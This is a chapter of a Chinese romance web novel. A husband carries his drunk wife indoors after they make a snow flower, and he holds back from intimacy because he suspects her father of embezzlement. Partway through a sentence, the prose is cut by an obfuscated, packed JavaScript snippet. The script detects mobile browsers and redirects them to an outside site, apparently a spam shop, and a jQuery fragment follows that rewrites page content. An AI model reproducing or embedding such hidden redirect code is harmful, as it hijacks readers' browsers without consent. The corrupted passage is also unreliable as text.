无论徐寂宁怎么阻拦,南有音都不愿意,她不进屋子,也不反抗,只眨眨眼,拽拽徐寂宁的衣服,低着头看着自己脚尖,一幅楚楚可怜的样子。 “好吧,”徐寂宁摸了摸南有音被雪冻得冰凉的手,另想出一个主意,“你在一旁指挥,我来用雪做花好不好?你教教我。” 南有音想了想好歹是答应了,徐寂宁便蹲下,听她的指示,勉强用雪拼出一朵花来,他将那来之不易的花送给南有音,南有音捧着认真看,忽然间天空传来一阵鞭炮声。 突然想起的鞭炮声似乎吓了南有音一跳,喝醉了的她在台阶上晃了一下身子,徐寂宁一步上前,抱住了她。 垂眸时天上正是满天烟花,他在她眼中看到了万家灯火。 “有音,花做好了,咱们进屋里去吧。”他对她说。 南有音歪头想了想道:“可我腿软了,走不动路。” 徐寂宁知道她的意思,手上发力,将她抱了起来,到了屋里,先将南有音手里的花插进桌上的小瓷瓶里,又将南有音放到床上,但南有音揽着他不肯放手。 他问她怎么了,她略略送了手,仍不准他走:“寂宁。” 他应了一声。 南有音笑了一下,嫣红的嘴唇一张一合:“宁哥哥。” “……嗯。”这个好久未曾听到的称呼好像一根羽毛,撩了下他的心尖,痒痒的。 南有音笑得更开心了,她慢慢靠近他,饱满湿润还带着一点酒气的唇贴了贴他的脸颊,在他耳边轻轻道:“夫君。” 那声音又轻又软,丝丝缕缕缠在耳朵上,他心中翁然一动,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642651|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻上了她的唇,她也丝毫不躲,灵巧的舌头好像是在勾引他一般。 他不由自主地抱住了她,只觉得她喝完酒后,身上又热又软。屋里也很热,桌上那朵雪花早化成了一摊水,在烛火照耀下一滴一滴沿着瓷瓶往下流,衬得那张梨木桌子也好似柔软缠绵起来。 “唔……”南有音带着他慢慢往床榻上倒下,一只手拽了拽他的腰带,他便顺从地解开了。 他吻她的耳畔,试着柔和地咬了咬她的耳朵,她依稀发出一些细碎的声音,似乎颇为受用。 “有音……”他沙哑地呼唤她,一路吻下去,也摸索着去寻她腰间的束缚,不知碰到她哪里了,惹得她好一阵笑。 他不晓得她笑什么,抬眼看向她,见她两颊微红,眼中浮动着水光,一脸醉态。 他霎时想到她喝醉了,匆匆从她身上起来了。 南有音似乎顿感茫然:“你怎么了?” “你喝醉了……”他脸红红的,强压下身上的燥热,哑声道,“不太合适。” 南有音拉着他的袖口,声音像是撒娇一样:“没关系,我明天还会记得的。” “不……不是这个缘故。”徐寂宁往后退了一步,重新穿戴好,掀开被子,将衣冠不整的南有音蒙进去。 “那是什么缘故?”南有音将被子掀了,盯着徐寂宁,半晌露出狐疑的神色,“总不会,你,你真的不举吧。” 徐寂宁神色尴尬了一下,脸更红了,解释道:“你还记得皇帝说的来月陵找一只小老鼠吗?” “记得呀。” “那……你在霞岭这两天,”徐寂宁似乎有些欲言又止,“你有没有觉得你爹不太对劲儿?” 南有音眨眨眼,不说话了。 徐寂宁重新给她盖好被子:“你先睡吧,等你明天清醒了,我们再说这件事。这件事思虑清楚之前……” 他咬了咬嘴唇:“我想我还是不要碰你。” 他几乎已经可以肯定,皇帝要他抓的那只小老鼠就是南晨颂。 他过去就曾奇怪南家为何看上去有些寒酸,南晨颂官职不高,但挂在户部之下,掌管盐铁,任谁都知道那是一门肥差,油水很足,他没想到皇帝口中的小老鼠并非从月陵捞油水,而是从别处捞油水往窝里带,更想不到会是妻子的父亲。 他一直没找到机会与南有音好好说说这件事,倘若他要将检举她爹,她总不能就这样不清不楚的委身于他了,他若因此事与她闹到了一些他不愿想象的境地,不得不分开…… 他叹了口气,将南有音踢了的被子重新掖好:“有音,睡吧。” 南有音看上去闷闷不乐,拍了拍身侧的床:“你不陪我吗?” 徐寂宁摇摇头,他不敢靠她太近了,总觉得一靠近身上一阵一阵火烧一般,他说道:“你先睡,我去外面凉快凉快,待会儿就睡。” 南有音忍不住笑了:“大冬天的出去凉快,你还说你没喝醉呢。” 徐寂宁笑了笑,摸了摸她的脑袋,柔声哄她早点睡,见她听话的闭上眼睛,便按捺不住一般往屋外走去。 外面鞭炮声不断,天上时不时有烟花闪现,冷风吹在脸上,他骤然清醒了许多,他望着苍茫的天,想到京城的天子与岳父,心下一片茫然。